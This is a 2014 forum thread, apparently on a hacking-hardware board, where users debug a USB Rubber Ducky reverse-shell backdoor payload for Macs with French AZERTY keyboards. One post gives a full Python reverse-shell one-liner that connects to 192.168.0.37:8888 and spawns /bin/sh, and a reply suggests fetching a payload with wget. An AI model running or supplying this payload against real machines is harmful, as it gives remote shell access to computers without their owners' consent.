Guest RemovedUser Posted July 9, 2014 Share Posted July 9, 2014 Hi guys ! I've just received my Rubber Ducky. I successfully managed to upgrade the firmware to the Duck 2.1 and change my VID/PID to skip the keyboard setup assistant on a mac. I've tried to use the osx user backdoor (reverse shell) payload, encode it with duck toolkit online and select "Français MAC" as language (i'm working on an azerty macbook pro). Everything seems to be okay (no azerty/qwerty problem), except one thing : the ~ character does not print. Somebody does have an idea? Quote Link to comment Share on other sites More sharing options...
DeltaGene Posted July 17, 2014 Share Posted July 17, 2014 Hi guys ! I've just received my Rubber Ducky. I successfully managed to upgrade the firmware to the Duck 2.1 and change my VID/PID to skip the keyboard setup assistant on a mac. I've tried to use the osx user backdoor (reverse shell) payload, encode it with duck toolkit online and select "Français MAC" as language (i'm working on an azerty macbook pro). Everything seems to be okay (no azerty/qwerty problem), except one thing : the ~ character does not print. Somebody does have an idea? Hey Mideuger! Patrick Mosca made a video using his own method for rooting a mac in 10 seconds (reverse shell method) similar to what I believe you are trying to do. Here is the link, hopefully it will help you. Root a Mac in less then 10 seconds I also recently got my Rubber Ducky, and I am able to write payloads and encode them onto the Ducky just fine. I am having trouble updating the firmware and changing my VIP/PID however, and was hoping that you might explain how you were able to successfully do that. I have a forum here regarding this issue: My Forum Any help would be appreciated! Thanks! Quote Link to comment Share on other sites More sharing options...
carmelo42 Posted July 31, 2014 Share Posted July 31, 2014 Hi guys ! I've just received my Rubber Ducky. I successfully managed to upgrade the firmware to the Duck 2.1 and change my VID/PID to skip the keyboard setup assistant on a mac. I've tried to use the osx user backdoor (reverse shell) payload, encode it with duck toolkit online and select "Français MAC" as language (i'm working on an azerty macbook pro). Everything seems to be okay (no azerty/qwerty problem), except one thing : the ~ character does not print. Somebody does have an idea? Same problem here with a french mac keyboard. I have encoded my ducky script with the ressource frmac.properties. Here is what my ducky writes : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.0.37,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(q/bin/sh,-iq);' Here is what I have in my script : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.37",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' Quote Link to comment Share on other sites More sharing options...
no42 Posted July 31, 2014 Share Posted July 31, 2014 are you using fr.properties or macfr.properties I don't see macfr.properties anywhere to check the codes. Basically there is an error in this file. Quote Link to comment Share on other sites More sharing options...
carmelo42 Posted July 31, 2014 Share Posted July 31, 2014 I use frmac.properties file Quote Link to comment Share on other sites More sharing options...
no42 Posted August 1, 2014 Share Posted August 1, 2014 I use frmac.properties file please post a link to this file. Quote Link to comment Share on other sites More sharing options...
carmelo42 Posted August 1, 2014 Share Posted August 1, 2014 Here is the file I use : https://www.sendspace.com/file/4figxr Quote Link to comment Share on other sites More sharing options...
no42 Posted August 1, 2014 Share Posted August 1, 2014 Here is the file I use : https://www.sendspace.com/file/4figxr thanks, strange thing is it looks fine. what is the output from the encoder? can you post an example of the command and its output. thanks. Quote Link to comment Share on other sites More sharing options...
MB60893 Posted August 2, 2014 Share Posted August 2, 2014 If you can't specifically type characters and you don't want to risk flashing the duck and the firmware, you could always use command space, type "Terminal" and use a WGet like command. That would download the file meaning no need to type everything out! Quick and simple. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.